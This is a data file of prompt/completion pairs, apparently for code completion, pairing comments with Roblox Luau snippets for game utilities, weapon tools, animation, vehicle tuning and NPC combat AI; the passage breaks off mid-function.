prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Create shortcuts to avoid intensive lookups
|
local CFrame_new = CFrame.new;
local table_insert = table.insert;
local CFrame_toWorldSpace = CFrame.new().toWorldSpace;
local math_min = math.min;
local math_max = math.max;
local unpack = unpack;
function BoundingBoxModule.CalculateExtents(Items, StaticExtents, ExtentsOnly)
-- Returns the size and position of a box covering all items in `Items`
-- Ensure there are items
if #Items == 0 then
return;
end;
-- Get initial extents data for comparison
local ComparisonBaseMin = StaticExtents and StaticExtents.Min or Items[1].Position;
local ComparisonBaseMax = StaticExtents and StaticExtents.Max or Items[1].Position;
local MinX, MinY, MinZ = ComparisonBaseMin.X, ComparisonBaseMin.Y, ComparisonBaseMin.Z;
local MaxX, MaxY, MaxZ = ComparisonBaseMax.X, ComparisonBaseMax.Y, ComparisonBaseMax.Z;
-- Go through each part in `Items`
for _, Part in pairs(Items) do
-- Avoid re-calculating for static parts
if not ((IsPhysicsStatic() or Part.Anchored) and StaticExtents) then
-- Get shortcuts to part data
local PartCFrame = Part.CFrame;
local PartSize = Part.Size / 2;
local SizeX, SizeY, SizeZ = PartSize.X, PartSize.Y, PartSize.Z;
local Corner;
local XPoints, YPoints, ZPoints = {}, {}, {};
Corner = PartCFrame * CFrame_new(SizeX, SizeY, SizeZ);
table_insert(XPoints, Corner.x);
table_insert(YPoints, Corner.y);
table_insert(ZPoints, Corner.z);
Corner = PartCFrame * CFrame_new(-SizeX, SizeY, SizeZ);
table_insert(XPoints, Corner.x);
table_insert(YPoints, Corner.y);
table_insert(ZPoints, Corner.z);
Corner = PartCFrame * CFrame_new(SizeX, -SizeY, SizeZ);
table_insert(XPoints, Corner.x);
table_insert(YPoints, Corner.y);
table_insert(ZPoints, Corner.z);
Corner = PartCFrame * CFrame_new(SizeX, SizeY, -SizeZ);
table_insert(XPoints, Corner.x);
table_insert(YPoints, Corner.y);
table_insert(ZPoints, Corner.z);
Corner = PartCFrame * CFrame_new(-SizeX, SizeY, -SizeZ);
table_insert(XPoints, Corner.x);
table_insert(YPoints, Corner.y);
table_insert(ZPoints, Corner.z);
Corner = PartCFrame * CFrame_new(-SizeX, -SizeY, SizeZ);
table_insert(XPoints, Corner.x);
table_insert(YPoints, Corner.y);
table_insert(ZPoints, Corner.z);
Corner = PartCFrame * CFrame_new(SizeX, -SizeY, -SizeZ);
table_insert(XPoints, Corner.x);
table_insert(YPoints, Corner.y);
table_insert(ZPoints, Corner.z);
Corner = PartCFrame * CFrame_new(-SizeX, -SizeY, -SizeZ);
table_insert(XPoints, Corner.x);
table_insert(YPoints, Corner.y);
table_insert(ZPoints, Corner.z);
-- Reduce gathered points to min/max extents
MinX = math_min(MinX, unpack(XPoints));
MinY = math_min(MinY, unpack(YPoints));
MinZ = math_min(MinZ, unpack(ZPoints));
MaxX = math_max(MaxX, unpack(XPoints));
MaxY = math_max(MaxY, unpack(YPoints));
MaxZ = math_max(MaxZ, unpack(ZPoints));
end;
end;
-- Calculate the extents
local Extents = {
Min = Vector3.new(MinX, MinY, MinZ),
Max = Vector3.new(MaxX, MaxY, MaxZ);
};
-- Only return extents if requested
if ExtentsOnly then
return Extents;
end;
-- Calculate the bounding box size
local Size = Vector3.new(
MaxX - MinX,
MaxY - MinY,
MaxZ - MinZ
);
-- Calculate the bounding box center
local Position = CFrame.new(
MinX + (MaxX - MinX) / 2,
MinY + (MaxY - MinY) / 2,
MinZ + (MaxZ - MinZ) / 2
);
-- Return the size and position
return Size, Position;
end;
return BoundingBoxModule;
|
--[[**
ensure value is an Instance and it's ClassName matches the given ClassName by an IsA comparison
@param className The class name to check for
@returns A function that will return true iff the condition is passed
**--]]
|
function t.instanceIsA(className, childTable)
assert(t.string(className))
local childrenCheck
if childTable ~= nil then
childrenCheck = t.children(childTable)
end
return function(value)
local instanceSuccess = t.Instance(value)
if not instanceSuccess then
return false
end
if not value:IsA(className) then
return false
end
if childrenCheck then
local childrenSuccess = childrenCheck(value)
if not childrenSuccess then
return false
end
end
return true
end
end
|
-- PROPERTIES
|
IconController.topbarEnabled = true
IconController.controllerModeEnabled = false
IconController.previousTopbarEnabled = checkTopbarEnabled()
IconController.leftGap = 12
IconController.midGap = 12
IconController.rightGap = 12
|
-- ROBLOX deviation START: additional assignments for Lua type inferrence to work
|
exports.ARROW = specialCharsModule.ARROW
exports.ICONS = specialCharsModule.ICONS
exports.CLEAR = specialCharsModule.CLEAR
|
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
|
function RayCast(startPos, vec, rayLength)
local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
if hitObject and hitPos then
local distance = rayLength - (hitPos - startPos).magnitude
if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then
-- there is a chance here for potential infinite recursion
return RayCast(hitPos, vec, distance)
end
end
return hitObject, hitPos
end
function TagHumanoid(humanoid, player)
-- Add more tags here to customize what tags are available.
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new("ObjectValue")
creatorTag.Value = player
creatorTag.Name = "creator"
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new("StringValue")
weaponIconTag.Value = IconURL
weaponIconTag.Name = "icon"
weaponIconTag.Parent = creatorTag
end
local function CreateFlash()
if FlashHolder then
local flash = Instance.new('Fire', FlashHolder)
flash.Color = Color3.new(1, 140 / 255, 0)
flash.SecondaryColor = Color3.new(1, 0, 0)
flash.Size = 0.3
DebrisService:AddItem(flash, FireRate / 1.5)
else
FlashHolder = Instance.new("Part", Tool)
FlashHolder.Transparency = 1
FlashHolder.CanCollide= false
FlashHolder.Size = Vector3.new(1, 1, 1)
FlashHolder.Position = Tool.Handle.Position
local Weld = Instance.new("ManualWeld")
Weld.C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld.C1 = CFrame.new(0, 2.2, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Weld.Part0 = FlashHolder
Weld.Part1 = Tool.Handle
Weld.Parent = FlashHolder
end
end
local function CreateBullet(bulletPos)
local bullet = Instance.new('Part', Workspace)
bullet.FormFactor = Enum.FormFactor.Custom
bullet.Size = Vector3.new(0.1, 0.1, 0.1)
bullet.BrickColor = MyPlayer.TeamColor
bullet.Shape = Enum.PartType.Ball
bullet.CanCollide = false
bullet.CFrame = CFrame.new(bulletPos)
bullet.Anchored = true
bullet.TopSurface = Enum.SurfaceType.Smooth
bullet.BottomSurface = Enum.SurfaceType.Smooth
bullet.Name = 'Bullet'
DebrisService:AddItem(bullet, 2.5)
local fire = Instance.new("Fire", bullet)
fire.Color = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b)
fire.SecondaryColor = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b)
fire.Size = 5
fire.Heat = 0
DebrisService:AddItem(fire, 0.2)
return bullet
end
local function Reload()
if not Reloading then
Reloading = true
-- Don't reload if you are already full or have no extra ammo
if AmmoInClip ~= ClipSize and SpareAmmo > 0 then
if RecoilTrack then
RecoilTrack:Stop()
end
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = true
end
end
wait(ReloadTime)
-- Only use as much ammo as you have
local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
AmmoInClip = AmmoInClip + ammoToUse
SpareAmmo = SpareAmmo - ammoToUse
UpdateAmmo(AmmoInClip)
end
Reloading = false
end
end
function OnFire()
if IsShooting then return end
if MyHumanoid and MyHumanoid.Health > 0 then
if RecoilTrack and AmmoInClip > 0 then
RecoilTrack:Play()
end
IsShooting = true
while LeftButtonDown and AmmoInClip > 0 and not Reloading do
if Spread and not DecreasedAimLastShot then
Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
UpdateCrosshair(Spread)
end
DecreasedAimLastShot = not DecreasedAimLastShot
if Handle:FindFirstChild('FireSound') then
Handle.FireSound:Play()
end
CreateFlash()
if MyMouse then
local targetPoint = MyMouse.Hit.p
local shootDirection = (targetPoint - Handle.Position).unit
-- Adjust the shoot direction randomly off by a little bit to account for recoil
shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread) * shootDirection
local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
local bullet
-- Create a bullet here
if hitObject then
bullet = CreateBullet(bulletPos)
end
if hitObject and hitObject.Parent then
local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid")
if hitHumanoid then
local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
TagHumanoid(hitHumanoid, MyPlayer)
hitHumanoid:TakeDamage(Damage)
if bullet then
bullet:Destroy()
bullet = nil
--bullet.Transparency = 1
end
Spawn(UpdateTargetHit)
end
end
end
AmmoInClip = AmmoInClip - 1
UpdateAmmo(AmmoInClip)
end
wait(FireRate)
end
IsShooting = false
if AmmoInClip == 0 then
Reload()
end
if RecoilTrack then
RecoilTrack:Stop()
end
end
end
local TargetHits = 0
function UpdateTargetHit()
TargetHits = TargetHits + 1
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = true
end
wait(0.5)
TargetHits = TargetHits - 1
if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = false
end
end
function UpdateCrosshair(value, mouse)
if WeaponGui then
local absoluteY = 650
WeaponGui.Crosshair:TweenSize(
UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
0.33)
end
end
function UpdateAmmo(value)
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then
WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = false
end
end
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then
WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
end
end
function OnMouseDown()
LeftButtonDown = true
OnFire()
end
function OnMouseUp()
LeftButtonDown = false
end
function OnKeyDown(key)
if string.lower(key) == 'r' then
Reload()
end
end
function OnEquipped(mouse)
RecoilAnim = WaitForChild(Tool, 'Recoil')
FireSound = WaitForChild(Handle, 'FireSound')
MyCharacter = Tool.Parent
MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter)
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyTorso = MyCharacter:FindFirstChild('Torso')
MyMouse = mouse
WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone()
if WeaponGui and MyPlayer then
WeaponGui.Parent = MyPlayer.PlayerGui
UpdateAmmo(AmmoInClip)
end
if RecoilAnim then
RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
end
if MyMouse then
-- Disable mouse icon
MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154"
MyMouse.Button1Down:connect(OnMouseDown)
MyMouse.Button1Up:connect(OnMouseUp)
MyMouse.KeyDown:connect(OnKeyDown)
end
end
|
--//INSPARE; One more year, every year//--
|
--//Steeing System Six//--
--//Visionary//--
|
-- Libraries
|
local Roact = require(Vendor:WaitForChild('Roact'))
local Cryo = require(Libraries:WaitForChild('Cryo'))
local new = Roact.createElement
|
--[=[
Takes a list of variables and uses them to compute an observable that
will combine into any value. These variables can be any value, and if they
can be converted into an Observable, they will be, which will be used to compute
the value.
```lua
local verbState = Blend.State("hi")
local nameState = Blend.State("alice")
local computed = Blend.Computed(verbState, nameState, function(verb, name)
return verb .. " " .. name
end)
maid:GiveTask(computed:Subscribe(function(sentence)
print(sentence)
end)) --> "hi alice"
nameState.Value = "bob" --> "hi bob"
verbState.Value = "bye" --> "bye bob"
nameState.Value = "alice" --> "bye alice"
```
@param ... A series of convertable states, followed by a function at the end.
@return Observable<T>
]=]
|
function Blend.Computed(...)
local values = {...}
local n = select("#", ...)
local compute = values[n]
assert(type(compute) == "function", "Bad compute")
local args = {}
for i=1, n - 1 do
local observable = Blend.toPropertyObservable(values[i])
if observable then
args[i] = observable
else
args[i] = Rx.of(values[i])
end
end
if #args == 0 then
-- static value?
return Observable.new(function(sub)
sub:Fire(compute())
end)
elseif #args == 1 then
return Rx.map(compute)(args[1])
else
return Rx.combineLatest(args)
:Pipe({
Rx.map(function(result)
return compute(unpack(result, 1, n - 1))
end);
})
end
end
|
-- Fetch the thumbnail
|
local userId = Player.UserId
local thumbType = Enum.ThumbnailType.HeadShot
local thumbSize = Enum.ThumbnailSize.Size420x420
local content, isReady = Players:GetUserThumbnailAsync(userId, thumbType, thumbSize)
|
---------END LEFT DOOR
|
game.Workspace.DoorValues.Moving.Value = true
game.Workspace.DoorClosed.Value = true
wait(0.1)
until game.Workspace.DoorValues.Close.Value==69
end
game.Workspace.DoorValues.Moving.Value = false
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--[[**
ensures Roblox RBXScriptConnection type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.RBXScriptConnection = t.typeof("RBXScriptConnection")
|
-- periodically pick one of the workspace.Music's children and play song, never pick last
|
Songs = workspace.Music:GetChildren()
local LastSong
local Song
task.wait(3)
while true do
repeat
task.wait()
Song = Songs[math.random(1, #workspace.Music:GetChildren())]
until Song ~= LastSong
LastSong = Song
Song:Play()
task.wait(Song.TimeLength)
task.wait(math.random(1,60))
end
|
-- Referenced by doing ``main:GetModule("cf")``
|
local module = {}
|
-- same as jump for now
|
function moveFreeFall()
RightShoulder.MaxVelocity = 0.4
LeftShoulder.MaxVelocity = 0.4
RightShoulder:SetDesiredAngle(3.14)
LeftShoulder:SetDesiredAngle(-3.14)
RightHip:SetDesiredAngle(0)
LeftHip:SetDesiredAngle(0)
wait(0.8)
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder:SetDesiredAngle(1.57)
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder:SetDesiredAngle(0)
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder:SetDesiredAngle(1.57)
LeftShoulder:SetDesiredAngle(1.0)
RightHip:SetDesiredAngle(1.57)
LeftHip:SetDesiredAngle(1.0)
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Seated") then
moveSit()
return
end
local climbFudge = 0
if (pose == "Running") then
RightShoulder.MaxVelocity = 0.1
LeftShoulder.MaxVelocity = 0.1
amplitude = 1
frequency = 9
elseif (pose == "Climbing") then
RightShoulder.MaxVelocity = 0.3
LeftShoulder.MaxVelocity = 0.3
amplitude = 0
frequency = 0
climbFudge = -3.14
else
amplitude = 0.1
frequency = 1
end
desiredAngle = amplitude * math.sin(time*frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
--[[
Merges values from zero or more tables onto a target table. If a value is
set to None, it will instead be removed from the table.
This function is identical in functionality to JavaScript's Object.assign.
]]
-- Luau TODO: no way to strongly type this accurately, it doesn't eliminate deleted keys of T, and Luau won't do intersections of type packs: <T, ...U>(T, ...: ...U): T & ...U
|
return function<T, U, V, W>(target: T, source0: U?, source1: V?, source2: W?, ...): T & U & V & W
if source0 ~= nil and typeof(source0 :: any) == "table" then
for key, value in pairs(source0 :: any) do
if value == None then
(target :: any)[key] = nil
else
(target :: any)[key] = value
end
end
end
if source1 ~= nil and typeof(source1 :: any) == "table" then
for key, value in pairs(source1 :: any) do
if value == None then
(target :: any)[key] = nil
else
(target :: any)[key] = value
end
end
end
if source2 ~= nil and typeof(source2 :: any) == "table" then
for key, value in pairs(source2 :: any) do
if value == None then
(target :: any)[key] = nil
else
(target :: any)[key] = value
end
end
end
for index = 1, select("#", ...) do
local rest = select(index, ...)
if rest ~= nil and typeof(rest) == "table" then
for key, value in pairs(rest) do
if value == None then
(target :: any)[key] = nil
else
(target :: any)[key] = value
end
end
end
end
-- TODO? we can add & Object to this, if needed by real-world code, once CLI-49825 is fixed
return (target :: any) :: T & U & V & W
end
|
--[[ @brief Normalizes an array using the 1 norm. The satellite array will be multiplied by the same normalizing factor.
@param array The array to normalize.
--]]
|
function module.NormalizeArrayWithSatellite(array, satellite)
local sum = module.Sum(array);
if sum==0 then return; end
for i = 1, #array do
array[i] = array[i] / sum;
end
for i = 1, #satellite do
satellite[i] = satellite[i] / sum;
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
return function(p1)
local v1 = client.UI.Prepare(script.Parent.Parent);
local l__PlayerGui__2 = service.PlayerGui;
local l__Frame__3 = v1.Frame;
local l__Message__4 = v1.Frame.Message;
local l__Title__5 = v1.Frame.Title;
local l__gIndex__6 = p1.gIndex;
local l__Scroll__7 = p1.Scroll;
if not p1.Message or not p1.Title then
v1:Destroy();
end;
l__Title__5.Text = p1.Title;
l__Message__4.Text = p1.Message;
l__Title__5.TextTransparency = 1;
l__Message__4.TextTransparency = 1;
l__Title__5.TextStrokeTransparency = 1;
l__Message__4.TextStrokeTransparency = 1;
l__Frame__3.BackgroundTransparency = 1;
local v8 = service.New("BlurEffect");
v8.Enabled = false;
v8.Size = 0;
v8.Parent = workspace.CurrentCamera;
local u1 = false;
local l__gTable__2 = p1.gTable;
local function u3()
if not u1 then
for v9 = 1, 10 do
if v8.Size > 0 then
v8.Size = v8.Size - 1;
end;
if l__Message__4.TextTransparency < 1 then
l__Message__4.TextTransparency = l__Message__4.TextTransparency + 0.1;
l__Title__5.TextTransparency = l__Title__5.TextTransparency + 0.1;
end;
if l__Message__4.TextStrokeTransparency < 1 then
l__Message__4.TextStrokeTransparency = l__Message__4.TextStrokeTransparency + 0.1;
l__Title__5.TextStrokeTransparency = l__Title__5.TextStrokeTransparency + 0.1;
end;
if l__Frame__3.BackgroundTransparency < 1 then
l__Frame__3.BackgroundTransparency = l__Frame__3.BackgroundTransparency + 0.03;
end;
wait(0.016666666666666666);
end;
v8.Enabled = false;
v8:Destroy();
service.UnWrap(v1):Destroy();
u1 = true;
end;
end;
function l__gTable__2.CustomDestroy()
if not u1 then
u1 = true;
pcall(u3);
end;
pcall(function()
service.UnWrap(v1):Destroy();
end);
pcall(function()
v8:Destroy();
end);
end;
(function()
if not u1 then
v8.Enabled = true;
l__gTable__2:Ready();
for v10 = 1, 10 do
if v8.Size < 10 then
v8.Size = v8.Size + 1;
end;
if l__Message__4.TextTransparency > 0.1 then
l__Message__4.TextTransparency = l__Message__4.TextTransparency - 0.1;
l__Title__5.TextTransparency = l__Title__5.TextTransparency - 0.1;
end;
if l__Message__4.TextStrokeTransparency > 0.5 then
l__Message__4.TextStrokeTransparency = l__Message__4.TextStrokeTransparency - 0.1;
l__Title__5.TextStrokeTransparency = l__Title__5.TextStrokeTransparency - 0.1;
end;
if l__Frame__3.BackgroundTransparency > 0.3 then
l__Frame__3.BackgroundTransparency = l__Frame__3.BackgroundTransparency - 0.03;
end;
wait(0.016666666666666666);
end;
end;
end)();
wait(p1.Time and 5);
if not u1 then
u3();
end;
end;
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS
|
function onRunning(speed)
local movedDuringEmote =
userEmoteToRunThresholdChange and currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)
local speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75
humanoidSpeed = speed
if speed > speedThreshold then
playAnimation("walk", 0.2, Humanoid)
if pose ~= "Running" then
pose = "Running"
updateVelocity(0) -- Force velocity update in response to state change
end
else
if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then
playAnimation("idle", 0.2, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
local scale = 5.0
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
|
-- разместим копии
|
for i = -4, 4 do
local ang = rnd:NextInteger(-2,2) * 45 -- расчитываем угол
local x = math.sin(math.rad(ang)) * radius
local y = math.cos(math.rad(ang)) * radius
local pos = CFrame.new(x, radius-y-6,10+17*i + script.Parent.Parent.BasePart.Position.Z ) * CFrame.Angles(0,0, math.rad(ang))
local tmp = fakel:Clone()
tmp:SetPrimaryPartCFrame(pos)
tmp.Fire.Fire.SleepTime.Value = rnd:NextInteger(1,5)
tmp.Fire.Fire.SpeedDOWN.Value = rnd:NextNumber(0.1,0.5)
tmp.Fire.Fire.SpeedUP.Value = rnd:NextNumber(0.3,0.7)
tmp.Parent = script.Parent
end
|
--[[Drivetrain]]
|
Tune.Config = "FWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 75 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 75 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 50 -- 1 - 100%
Tune.RDiffLockThres = 50 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
-- Game Services
|
local NotificationManager = require(script.NotificationManager)
local TimerManager = require(script.TimerManager)
|
-- regular lua compatibility
|
local typeof = typeof or type
local function primitive(typeName)
return function(value)
local valueType = typeof(value)
if valueType == typeName then
return true
else
return false, string.format("%s expected, got %s", typeName, valueType)
end
end
end
local t = {}
|
-- Initialize anchor tool
|
local AnchorTool = require(CoreTools:WaitForChild 'Anchor')
Core.AssignHotkey('M', Core.Support.Call(Core.EquipTool, AnchorTool));
Core.Dock.AddToolButton(Core.Assets.AnchorIcon, 'M', AnchorTool, 'AnchorInfo');
|
------Mood------
|
local faces = myHead.Faces
status:set("currentFace",myHead.faceIdle)
local idleIndex = 5
function movementLogic()
local target = status:get("currentTarget")
local dist = core.checkDist(target,myRoot)
local canSee = core.checkSight(target)
idleIndex -= 1
if canSee then
idleIndex = 5 --100
end
if ((dist > 50 or not canSee) and (myRoot.Position.Y < target.Position.Y-10 or idleIndex <= 0)) then
movement.pathToLocation(target)
elseif (dist > 30 or not canSee) and core.checkPotentialSight(target) then
myHuman:MoveTo(movement.slowAdvance())
wait(0.3)
elseif dist > 50 and dist < 90 and canSee and status:get("m4Equipped") then
myHuman:MoveTo(movement.strafe())
wait(0.5)
elseif dist > 4 and dist < 50 and canSee and math.abs(myRoot.Position.Y - target.Position.Y) < 2 and status:get("weaponAimed") then
myHuman:MoveTo(movement.retreat())
wait(0.2)
elseif (dist < 4 and canSee) or status:get("knifeEquipped") then
myHuman:MoveTo(target.Position)
end
end
function movementLoop()
while myHuman.Health>0 do
if status:get("currentTarget") then
movementLogic()
else
if mySettings.Wander.Value and math.random(4) == 3 then
movement.walkRandom()
end
wait(3)
end
wait(0.1)
end
end
function getIncomingAttackers()
local targets = {}
local params = RaycastParams.new()
params.FilterDescendantsInstances = {marine}
for i = -20, 20, 2 do
local origin = myRoot.Position + Vector3.new(-20,0,i)
local dir = Vector3.new(40,0,0)
troubleshoot.createBeam(origin,dir)
local result = workspace:Raycast(origin, dir)
if result then
local human = core.getHuman(result.Instance.Parent)
local root = result.Instance.Parent:FindFirstChild("HumanoidRootPart")
if human and human.Health>0 and root and not core.isAlly(result.Instance.Parent) then
if core.checkSight(root) then
table.insert(targets,root)
end
end
end
end
--Sort through targets to target the closest one to us
local dist = math.huge
local tempTarget = nil
for _,potentialTarget in ipairs(targets) do
if core.checkDist(potentialTarget,myRoot) < dist then
dist = core.checkDist(potentialTarget,myRoot)
tempTarget = potentialTarget
end
end
if tempTarget then
status:set("currentTarget",tempTarget)
end
end
function searchTargetLoop()
while myHuman.Health>0 do
getIncomingAttackers()
if not status:get("currentTarget") or not status:get("currentTarget").Parent or status:get("currentTarget").Parent.Humanoid.Health <=0 or status:get("tookDamage") then
status:set("tookDamage",false)
status:set("currentTarget",nil)
targeting.findTarget()
elseif not core.checkSight(status:get("currentTarget")) then
targeting.findTarget()
if not status:get("currentTarget") then
wait(3)
end
end
wait(0.5)
end
end
function aimingLoop()
while myHuman.Health>0 do
if status:get("currentTarget") then
if core.checkSight(status:get("currentTarget")) and status:get("m4Equipped") then
actions.aim(status:get("currentTarget"))
else
wait(0.5)
end
else
wait(2)
end
wait(0.1)
end
end
function attackLogic()
actions.updateFace("Attacking")
local target = status:get("currentTarget")
local distance = core.checkDist(myRoot,target)
if distance > 7 then
--If there is a cluster of enemies far enough away throw grenade.
if combat.checkCluster(target) and distance < 100 and distance > 40 and status:get("grenadeCool") then
combat.throwGrenade(target)
elseif status:get("m4Equipped") then
if core.facingTarget() and core.checkShot(target) then
combat.shoot(target)
end
else
actions.drawM4()
end
else
actions.drawKnife()
combat.stab()
end
end
function attackLoop()
while myHuman.Health>0 do
local target = status:get("currentTarget")
if target and target.Parent then
actions.updateFace("Hunting")
--If we have a target we can see
if core.checkSight(status:get("currentTarget")) and core.checkDist(myRoot,target) < mySettings.M4.Range.Value then
attackLogic()
elseif status:get("m4Equipped") and not status:get("weaponAimed") then
status:set("weaponAimed",false)
actions.lowerM4()
end
else
actions.updateFace("Idle")
actions.yieldWeapons()
wait(2)
end
wait(0.1)
end
end
core.spawn(searchTargetLoop)
core.spawn(attackLoop)
core.spawn(movementLoop)
core.spawn(aimingLoop)
|
-- Function
|
Prompt.ProximityPrompt.Triggered:Connect(function(plr)
Prompt.ProximityPrompt.Enabled = false
--
local anim = plr.Character:FindFirstChild("Humanoid"):LoadAnimation(script.Animation)
anim:Play()
--
for i,v in pairs(script.Parent.Quebrar:GetChildren()) do
v.Transparency = 0
end
--
for money = 1,3 do
local clone = game.ServerStorage.Dinheiro:Clone()
clone.Parent = game.Workspace
clone.Position = Prompt.Position
end
--
soco:Play()
wait(1)
alarme:Play()
--
tela.BrickColor = BrickColor.new("Really red")
tela.Material = "Neon"
--
wait(60*3)
tela.BrickColor = BrickColor.new("Dark stone grey")
tela.Material = "SmoothPlastic"
--
Prompt.ProximityPrompt.Enabled = true
--
for i,v in pairs(script.Parent.Quebrar:GetChildren()) do
v.Transparency = 1
end
end)
|
--[[ By: Brutez. ]]
|
--
local JeffTheKillerScript = script;
repeat wait(0)until JeffTheKillerScript and JeffTheKillerScript.Parent and JeffTheKillerScript.Parent.ClassName=="Model"and JeffTheKillerScript.Parent:FindFirstChild("Head")and JeffTheKillerScript.Parent:FindFirstChild("HumanoidRootPart");
local JeffTheKiller=JeffTheKillerScript.Parent;
function raycast(Spos,vec,currentdist)
local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(Spos+(vec*.05),vec*currentdist),JeffTheKiller);
if hit2~=nil and pos2 then
if hit2.Name=="Handle" and not hit2.CanCollide or string.sub(hit2.Name,1,6)=="Effect"and not hit2.CanCollide then
local currentdist=currentdist-(pos2-Spos).magnitude;
return raycast(pos2,vec,currentdist);
end;
end;
return hit2,pos2;
end;
function RayCast(Position,Direction,MaxDistance,IgnoreList)
